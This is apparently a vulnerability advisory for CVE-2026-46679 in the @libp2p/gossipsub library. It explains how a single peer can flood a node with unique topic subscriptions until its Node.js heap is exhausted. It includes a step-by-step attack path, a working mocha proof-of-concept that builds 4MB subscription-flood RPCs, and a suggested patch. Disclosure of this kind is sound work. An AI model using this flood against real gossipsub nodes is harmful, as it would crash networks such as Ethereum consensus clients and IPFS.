CVE-2026-46679

### Summary Three cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options. 1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC. 2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit. 3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime. A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps). ### Details #### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, // <- no decode-level cap // ... } ``` Passed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error. #### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`) ```typescript let topicSet = this.topics.get(topic) if (topicSet == null) { topicSet = new Set() this.topics.set(topic, topicSet) // new entry per unique topic, no count guard } topicSet.add(from.toString()) ``` `this.topics` (`Map<TopicStr, Set<PeerIdStr>>`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is "not bounded by topic count", but only for the `allowedTopics != null` branch, the default is `null`. #### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`) ```typescript for (const peers of this.topics.values()) { peers.delete(id) // empty Set is NOT removed from this.topics } ``` After disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575–602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime. Secondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects. #### Attack path 1. Attacker dials victim and opens a gossipsub stream. 2. Score 0 > `gossipThreshold = −10` thus subscriptions are processed immediately. No score check gates subscription handling. 3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB. 4. Victim's `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` → 349,525 calls to `handleReceivedSubscription` -> `this.topics` grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked. 5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat. 6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash. ### PoC **Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`): ```bash $ git clone https://github.com/libp2p/js-libp2p.git $ cd js-libp2p $ npm install $ cd packages/gossipsub $ npx aegir build $ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000 ``` File PoC: ```typescript /* eslint-env mocha */ import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { RPC } from '../src/message/rpc.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' // Number of unique topics per attack RPC (for direct injection tests). // Chosen to demonstrate impact without LP-framing; the ENCODE test shows // how many actually fit in one 4 MB frame. const UNIQUE_TOPICS_PER_RPC = 349_000 // Build a protobuf-encoded RPC with N unique SUBSCRIBE entries. // Uses minimal 2-char topic strings ("00".."zz") to maximise packing. // SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry. // Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription. // 4 MB / 8 bytes ≈ 524K subscriptions per frame. function buildSubscriptionFloodRpc (count: number): Uint8Array { const subscriptions = Array.from({ length: count }, (_, i) => ({ subscribe: true, // Sequential 6-char decimal topics: short but still unique topic: i.toString().padStart(6, '0') })) return RPC.encode({ subscriptions, messages: [], control: undefined }) } // Binary-search the exact number of unique 6-char topics that fit in 4 MB. function maxTopicsIn4MB (): number { const MAX_LP_BYTES = 4 * 1024 * 1024 let lo = 1; let hi = 600_000 while (lo < hi) { const mid = (lo + hi + 1) >> 1 if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) { lo = mid } else { hi = mid - 1 } } return lo } describe('PoC: Memory DoS via subscription flood of unique topics', function () { this.timeout(60_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) await connectPubsubNodes(victim, attacker) }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() const topicsBefore = victimPubsub.topics.size as number const heapBefore = process.memoryUsage().heapUsed // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC // unique topics directly via handleReceivedSubscription (the exact function // called synchronously from handleReceivedRpc for each decoded SubOpts entry). const t0 = performance.now() for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-sub-flood-${i.toString().padStart(6, '0')}`, true ) } const elapsed = performance.now() - t0 const topicsAfter = victimPubsub.topics.size as number const heapAfterBytes = process.memoryUsage().heapUsed const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024) const newTopics = topicsAfter - topicsBefore console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`) console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`) console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`) console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`) console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`) // All unique topics must be present in the map — no dedup for unique strings assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC, `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`) // Must be non-trivial heap growth assert.ok(heapGrowthMB > 20, `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`) }) it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString() // Flood with unique topics for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) { victimPubsub.handleReceivedSubscription( { toString: () => attackerIdStr } as any, `poc-persist-${i.toString().padStart(6, '0')}`, true ) } const topicsBeforeDisconnect = victimPubsub.topics.size as number // Simulate peer disconnect, this removes the peer ID from each Set but // does NOT delete empty Sets from this.topics. const tDisconnect = performance.now() victimPubsub.removePeer(attacker.components.peerId) const disconnectMs = performance.now() - tDisconnect const topicsAfterDisconnect = victimPubsub.topics.size as number console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`) console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`) console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`) console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`) // Topics Map is unchanged in SIZE — empty Sets persist assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect, `this.topics.size should be unchanged after disconnect (empty Sets persist); ` + `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`) // removePeer O(N) scan should take non-trivial time with 349K entries assert.ok(disconnectMs > 5, `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`) // Verify Sets are actually empty (peer removed from each) let emptyCount = 0 for (const [, peers] of victimPubsub.topics) { if ((peers as Set<string>).size === 0) emptyCount++ } assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC, `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`) }) it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () { this.timeout(30_000) const MAX_LP_BYTES = 4 * 1024 * 1024 // Find exact maximum with binary search const maxCount = maxTopicsIn4MB() const rpc = buildSubscriptionFloodRpc(maxCount) const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4 console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`) console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`) console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) assert.ok(maxCount > 100_000, `expected >100K subscriptions per 4 MB frame, got ${maxCount}`) }) }) ``` ### Impact - **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects. - **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state. - **No score mitigation**: subscription processing has no score check and no score penalty for flooding. - **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`. - **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan. ### Suggested remediation Delete empty Sets on unsubscribe and disconnect: ```typescript // handleReceivedSubscription } else { topicSet.delete(from.toString()) if (topicSet.size === 0) this.topics.delete(topic) } // removePeer for (const [topic, peers] of this.topics) { peers.delete(id) if (peers.size === 0) this.topics.delete(topic) } ``` Clear `this.topics` in `stop()`: ```typescript this.topics.clear() ```